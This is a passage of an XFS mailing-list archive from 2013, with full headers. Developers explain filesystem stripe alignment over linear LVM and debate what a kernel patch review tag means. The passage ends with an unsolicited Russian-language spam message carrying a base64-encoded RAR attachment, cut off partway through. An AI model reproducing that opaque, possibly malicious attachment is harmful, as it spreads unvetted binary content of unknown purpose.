-0600 Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: xfs hardware RAID alignment over linear lvm From: Chris Murphy X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm In-Reply-To: <52435327.9080607@hardwarefreak.com> Date: Wed, 25 Sep 2013 15:34:01 -0600 Content-Transfer-Encoding: quoted-printable Message-Id: <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> References: <52435327.9080607@hardwarefreak.com> To: "xfs@oss.sgi.com" X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1380144843 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140923 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sep 25, 2013, at 3:18 PM, Stan Hoeppner = wrote: > On 9/25/2013 7:56 AM, Stewart Webb wrote: >> Hi All, >=20 > Hi Stewart, >=20 >> I am trying to do the following: >> 3 x Hardware RAID Cards each with a raid 6 volume of 12 disks = presented to >> the OS >> all raid units have a "stripe size" of 512 KB >=20 > Just for future reference so you're using correct terminology, a value > of 512KB is surely your XFS su value, also called a "strip" in LSI > terminology, or a "chunk" in Linux software md/RAID terminology. This > is the amount of data written to each data spindle (excluding parity) = in > the array. >=20 > "Stripe size" is a synonym of XFS sw, which is su * #disks. This is = the > amount of data written across the full RAID stripe (excluding parity). >=20 >> so given the info on the xfs.org wiki - I sould give each filesystem = a >> sunit of 512 KB and a swidth of 10 (because RAID 6 has 2 parity = disks) >=20 > Partially correct. If you format each /dev/[device] presented by the > RAID controller with an XFS filesystem, 3 filesystems total, then your > values above are correct. EXCEPT you must use the su/sw parameters in > mkfs.xfs if using BYTE values. See mkfs.xfs(8) >=20 >> all well and good >>=20 >> But - I would like to use Linear LVM to bring all 3 cards into 1 = logical >> volume - >> here is where my question crops up: >> Does this effect how I need to align the filesystem? >=20 > In the case of a concatenation, which is what LVM linear is, you = should > use an XFS alignment identical to that for a single array as above. So keeping the example, 3 arrays x 10 data disks, would this be su=3D512k = and sw=3D30? Chris Murphy= From stan@hardwarefreak.com Wed Sep 25 16:48:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B77217F4E for ; Wed, 25 Sep 2013 16:48:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A4280304043 for ; Wed, 25 Sep 2013 14:48:07 -0700 (PDT) X-ASG-Debug-ID: 1380145686-04cb6c153d1418010001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id 39MHRs0RFGwBLuWc for ; Wed, 25 Sep 2013 14:48:06 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id CA7506C177; Wed, 25 Sep 2013 16:48:06 -0500 (CDT) Message-ID: <52435A1B.8040207@hardwarefreak.com> Date: Wed, 25 Sep 2013 16:48:11 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Chris Murphy CC: "xfs@oss.sgi.com" Subject: Re: xfs hardware RAID alignment over linear lvm References: <52435327.9080607@hardwarefreak.com> <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm In-Reply-To: <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1380145686 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 9/25/2013 4:34 PM, Chris Murphy wrote: > > On Sep 25, 2013, at 3:18 PM, Stan Hoeppner wrote: > >> On 9/25/2013 7:56 AM, Stewart Webb wrote: >>> Hi All, >> >> Hi Stewart, >> >>> I am trying to do the following: >>> 3 x Hardware RAID Cards each with a raid 6 volume of 12 disks presented to >>> the OS >>> all raid units have a "stripe size" of 512 KB >> >> Just for future reference so you're using correct terminology, a value >> of 512KB is surely your XFS su value, also called a "strip" in LSI >> terminology, or a "chunk" in Linux software md/RAID terminology. This >> is the amount of data written to each data spindle (excluding parity) in >> the array. >> >> "Stripe size" is a synonym of XFS sw, which is su * #disks. This is the >> amount of data written across the full RAID stripe (excluding parity). >> >>> so given the info on the xfs.org wiki - I sould give each filesystem a >>> sunit of 512 KB and a swidth of 10 (because RAID 6 has 2 parity disks) >> >> Partially correct. If you format each /dev/[device] presented by the >> RAID controller with an XFS filesystem, 3 filesystems total, then your >> values above are correct. EXCEPT you must use the su/sw parameters in >> mkfs.xfs if using BYTE values. See mkfs.xfs(8) Small correction: su is a byte value. sw is an integer representing the number of data spindles. >>> all well and good >>> >>> But - I would like to use Linear LVM to bring all 3 cards into 1 logical >>> volume - >>> here is where my question crops up: >>> Does this effect how I need to align the filesystem? >> >> In the case of a concatenation, which is what LVM linear is, you should >> use an XFS alignment identical to that for a single array as above. > > So keeping the example, 3 arrays x 10 data disks, would this be su=512k and sw=30? No. In this configuration, as far as XFS is concerned LVM doesn't exist in the stack because it doesn't change the RAID geometry, so you ignore it. -- Stan From lists@colorremedies.com Wed Sep 25 16:53:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 076287F4E for ; Wed, 25 Sep 2013 16:53:29 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D9DA18F8049 for ; Wed, 25 Sep 2013 14:53:27 -0700 (PDT) X-ASG-Debug-ID: 1380146006-04cbb02c3b1414420001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id E3jPyNI0AHft5VSp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 25 Sep 2013 14:53:26 -0700 (PDT) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from c-67-165-243-162.hsd1.co.comcast.net ([67.165.243.162]:58444 helo=[192.168.1.126]) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.80.1) (envelope-from ) id 1VOx1R-0001bk-PL for xfs@oss.sgi.com; Wed, 25 Sep 2013 15:53:25 -0600 Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: xfs hardware RAID alignment over linear lvm From: Chris Murphy X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm In-Reply-To: <52435A1B.8040207@hardwarefreak.com> Date: Wed, 25 Sep 2013 15:53:24 -0600 Content-Transfer-Encoding: quoted-printable Message-Id: <56657F55-C39E-41D8-8BED-AA2C27C26B61@colorremedies.com> References: <52435327.9080607@hardwarefreak.com> <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> <52435A1B.8040207@hardwarefreak.com> To: "xfs@oss.sgi.com" X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1380146006 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140924 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sep 25, 2013, at 3:48 PM, Stan Hoeppner = wrote: >>=20 >> So keeping the example, 3 arrays x 10 data disks, would this be = su=3D512k and sw=3D30? >=20 > No. In this configuration, as far as XFS is concerned LVM doesn't = exist > in the stack because it doesn't change the RAID geometry, so you = ignore it. OK and if this were md linear where the file system definitely would be = created across all disks? Chris Murphy= From david@fromorbit.com Wed Sep 25 16:57:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 09E2F7F4E for ; Wed, 25 Sep 2013 16:57:18 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id DFF448F8049 for ; Wed, 25 Sep 2013 14:57:17 -0700 (PDT) X-ASG-Debug-ID: 1380146235-04cb6c35019a230001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id k4UuiaAMAzcP2fzW for ; Wed, 25 Sep 2013 14:57:16 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkkPAMZbQ1J5LCC0/2dsb2JhbABbgwc4gxOpSgOPCoU8gSEXdIIlAQEFOhwjEAgDDgoJEAEBEw8FJQMhE4gFvE8WjGmCUgcjBIN2A5d7kXiDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail07.adl2.internode.on.net with ESMTP; 26 Sep 2013 07:27:15 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VOx57-0003pC-9c; Thu, 26 Sep 2013 07:57:13 +1000 Date: Thu, 26 Sep 2013 07:57:13 +1000 From: Dave Chinner To: Chris Murphy Cc: "xfs@oss.sgi.com" Subject: Re: xfs hardware RAID alignment over linear lvm Message-ID: <20130925215713.GH26872@dastard> X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm References: <52435327.9080607@hardwarefreak.com> <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1380146235 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140924 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 25, 2013 at 03:34:01PM -0600, Chris Murphy wrote: > > On Sep 25, 2013, at 3:18 PM, Stan Hoeppner wrote: > > > On 9/25/2013 7:56 AM, Stewart Webb wrote: > >> Hi All, > > > > Hi Stewart, > > > >> I am trying to do the following: > >> 3 x Hardware RAID Cards each with a raid 6 volume of 12 disks presented to > >> the OS > >> all raid units have a "stripe size" of 512 KB > > > > Just for future reference so you're using correct terminology, a value > > of 512KB is surely your XFS su value, also called a "strip" in LSI > > terminology, or a "chunk" in Linux software md/RAID terminology. This > > is the amount of data written to each data spindle (excluding parity) in > > the array. > > > > "Stripe size" is a synonym of XFS sw, which is su * #disks. This is the > > amount of data written across the full RAID stripe (excluding parity). > > > >> so given the info on the xfs.org wiki - I sould give each filesystem a > >> sunit of 512 KB and a swidth of 10 (because RAID 6 has 2 parity disks) > > > > Partially correct. If you format each /dev/[device] presented by the > > RAID controller with an XFS filesystem, 3 filesystems total, then your > > values above are correct. EXCEPT you must use the su/sw parameters in > > mkfs.xfs if using BYTE values. See mkfs.xfs(8) > > > >> all well and good > >> > >> But - I would like to use Linear LVM to bring all 3 cards into 1 logical > >> volume - > >> here is where my question crops up: > >> Does this effect how I need to align the filesystem? > > > > In the case of a concatenation, which is what LVM linear is, you should > > use an XFS alignment identical to that for a single array as above. ^^^^^^ > So keeping the example, 3 arrays x 10 data disks, would this be su=512k and sw=30? No, the alignment should match that of a *single* 10 disk array, so su=512k,sw=10. Linear concatentation looks like this: offset volume array 0 +-D1-+-D2-+.....+-Dn-+ 0 # first sw ..... X-sw +-D1-+-D2-+.....+-Dn-+ 0 X +-E1-+-E2-+.....+-En-+ 1 # first sw ..... 2X-sw +-E1-+-E2-+.....+-En-+ 1 2X +-F1-+-F2-+.....+-Fn-+ 2 # first sw ..... 3X-sw +-F1-+-F2-+.....+-Fn-+ 2 Where: D1...Dn are the disks in the first array E1...En are the disks in the second array F1...Fn are the disks in the third array X is the size of the each array sw = su * number of data disks in array As you can see, all the volumes are arranged in a single column - identical to a larger single array of the same size. Hence the exposed alignment of a single array is what the filesystem should be aligned to, as that is how the linear concat behaves. You also might note here that if you want the second and subsequent arrays to be correctly aligned to the initial array in the linear concat (and you do want that), the arrays must be sized to be an exact multiple of the stripe width. Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Wed Sep 25 17:11:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 64C537F4E for ; Wed, 25 Sep 2013 17:11:38 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id EB1DE8F8065; Wed, 25 Sep 2013 15:11:34 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B2EF74266DC; Wed, 25 Sep 2013 17:11:34 -0500 (CDT) Date: Wed, 25 Sep 2013 17:11:34 -0500 From: Ben Myers To: Eric Sandeen Cc: Mark Tinguely , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: v2 fix node forward in xfs_node_toosmall Message-ID: <20130925221134.GM1935@sgi.com> References: <20130920220519.585903357@sgi.com> <20130923171911.273669684@sgi.com> <20130923234819.GW9901@dastard> <5241CD70.7050800@sgi.com> <20130924210653.GB26872@dastard> <5242057D.8030404@sgi.com> <20130924233331.GC26872@dastard> <20130925183816.GL1935@sgi.com> <52434F8A.9040703@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52434F8A.9040703@sandeen.net> User-Agent: Mutt/1.5.20 (2009-06-14) Hey, On Wed, Sep 25, 2013 at 04:03:06PM -0500, Eric Sandeen wrote: > [stable@vger.kernel.org stripped from this fascinating thread] Good idea. I should have done, in retrospect. > On 9/25/13 1:38 PM, Ben Myers wrote: > > Hey Dave, > > > > On Wed, Sep 25, 2013 at 09:33:31AM +1000, Dave Chinner wrote: > > > > >> If a reviewer doesn't speak up about something, then that implies > >> the reviewer considers it acceptible. > > > > I disagree with that statement. A reviewer might not speak up about a > > flaw in a work for for other reasons. There are more than two > > alternatives in this context. For example... > > > > > > >> If the > >> reviewer does not ask for improvements or you chose not to review > >> the proposed patches, then you have no grounds to complain about the > >> contents of patches that were committed on your watch... > > > > I disagree. The act of committing a patch does not necessarily imply an > > agreement regarding it's contents. I am often in a position where I > > have to commit patches that I don't fully agree with. This doesn't > > imply that I've waived my right to whine about bad commits later. ;) > > If you don't like it, don't add reviewed-by. > > If you don't like the reviews, don't sign off, don't merge it. > As maintainer you have that right, but to be a good maintainer, > you need a strong reason. And if you have a strong technical concern, > then it's the patch author's duty to take it seriously, or risk not > getting the patch merged. And the author might argue back. And other > people might argue back. And in the end, if we can all keep our cool, > the code will be better for it. If you apply clear and consistent merge > criteria then people will know what to expect. > > When you send a Reviewed-by: that's a pretty strong indication of agreement. Gah. Yeah, I overstated. Maybe 'does not necessarily imply an agreement' should read something more like 'does not necessarily imply it is beyond criticism', that's a bit more reasonable. > There shouldn't be a lot of misunderstanding about what it means; > the kernel doc (Documentation/SubmittingPatches) is very clear: > > === > Reviewer's statement of oversight > > By offering my Reviewed-by: tag, I state that: > > (a) I have carried out a technical review of this patch to > evaluate its appropriateness and readiness for inclusion into > the mainline kernel. > > (b) Any problems, concerns, or questions relating to the patch > have been communicated back to the submitter. I am satisfied > with the submitter's response to my comments. > > (c) While there may be things that could be improved with this > submission, I believe that it is, at this time, (1) a > worthwhile modification to the kernel, and (2) free of known > issues which would argue against its inclusion. > > (d) While I have reviewed the patch and believe it to be sound, I > do not (unless explicitly stated elsewhere) make any > warranties or guarantees that it will achieve its stated > purpose or function properly in any given situation. > === > > If you can't get behind that, don't add your Reviewed-by: and continue to > work it out until you can. Reviewers should be sure to pay attention to > point (c) as well, something I sometimes forget myself. I haven't read that in awhile. Nice to have a brush up, thanks. I think it probably comes short of '...you have no grounds to complain about the contents of patches that were committed on your watch...', which is the idea I disagree with. Maybe others don't think so, you could argue that I failed on point b in my review by not choosing to hound Dave for a commit message. ;) > Reviews don't have to be heeded, either. They don't have to be gauntlets > thrown down or lines in the sand. "You've corrupted memory here" is > different from "you could use an args struct instead of 8 arguments" > or "your commit log isn't very descriptive." Discretion abounds. > > As a reviewer once said on another list, "I'm free to share > what occurs to me and you're free to tell me to go jump in a lake." > Especially for cosmetic issues, that's a pretty good POV. Sometimes > it's trickier. > > As maintainer I guess you get to decide if a review concern has enough > merit to hold up merging. Ignoring a compelling technical concern > could be risky. I agree that ignoring a compelling technical concern can be risky. > Maybe one reviewer is dissatisfied, and another is satisfied. Then > you get to play Solomon again. Life goes on, I hope. Yeah. Life goes on. Thanks Eric, Ben From aneka1@theaces.com Wed Sep 25 21:41:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 307F37F51 for ; Wed, 25 Sep 2013 21:41:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C1A79AC002 for ; Wed, 25 Sep 2013 19:41:53 -0700 (PDT) X-ASG-Debug-ID: 1380163310-04bdf02f211481320001-NocioJ Received: from mail.geomir.ru (mail.geomir.ru [212.45.1.229]) by cuda.sgi.com with ESMTP id eKpKR9mo56EFKCzu for ; Wed, 25 Sep 2013 19:41:50 -0700 (PDT) X-Barracuda-Envelope-From: aneka1@theaces.com X-Barracuda-Apparent-Source-IP: 212.45.1.229 Received: from localhost (localhost [127.0.0.1]) by mail.geomir.ru (Postfix) with ESMTP id 1164BEC20C; Thu, 26 Sep 2013 06:41:47 +0400 (MSK) X-Virus-Scanned: Debian amavisd-new at geomir.ru Received: from mail.geomir.ru ([127.0.0.1]) by localhost (mail.geomir.ru [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id jOT0g1ZDQeSE; Thu, 26 Sep 2013 06:41:45 +0400 (MSK) Received: from Unknown (unknown [180.166.124.90]) (Authenticated sender: info@korolev-18.ru) by mail.geomir.ru (Postfix) with ESMTPA id 0C999EC220; Thu, 26 Sep 2013 06:41:31 +0400 (MSK) Message-ID: Reply-To: =?windows-1251?B?w87R08TA0NHSwsXNzdvJIMfAysDHIDIwMTMt?= =?windows-1251?B?MjAxNA==?= From: =?windows-1251?B?w87R08TA0NHSwsXNzdvJIMfAysDHIDIwMTMt?= =?windows-1251?B?MjAxNA==?= To: , , , Subject: =?windows-1251?B?1OXk5fDg6/zt4P8g6u7t8vDg6vLt4P8g8ejx?= =?windows-1251?B?8uXs4A==?= Date: Thu, 26 Sep 2013 04:41:58 +0200 X-ASG-Orig-Subj: =?windows-1251?B?1OXk5fDg6/zt4P8g6u7t8vDg6vLt4P8g8ejx?= =?windows-1251?B?8uXs4A==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0A96_01CEBA72.BC0BA180" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-Barracuda-Connect: mail.geomir.ru[212.45.1.229] X-Barracuda-Start-Time: 1380163310 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140931 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_0A96_01CEBA72.BC0BA180 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0A97_01CEBA72.BC0BA180" ------=_NextPart_001_0A97_01CEBA72.BC0BA180 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D4=E5=E4=E5=F0=E0=EB=FC=ED=E0=FF =EA=EE=ED=F2=F0=E0=EA=F2=ED=E0=FF =F1=E8= =F1=F2=E5=EC=E0 ------=_NextPart_001_0A97_01CEBA72.BC0BA180 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
    =D4=E5=E4=E5=F0=E0=EB=FC=ED=E0=FF =EA=EE=ED=F2=F0= =E0=EA=F2=ED=E0=FF =F1=E8=F1=F2=E5=EC=E0
    ------=_NextPart_001_0A97_01CEBA72.BC0BA180-- ------=_NextPart_000_0A96_01CEBA72.BC0BA180 Content-Type: application/octet-stream; name="=?windows-1251?B?w87R08TA0NHSwsXNzdvJIMfAysDHLnJhcg==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?w87R08TA0NHSwsXNzdvJIMfAysDHLnJhcg==?=" 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 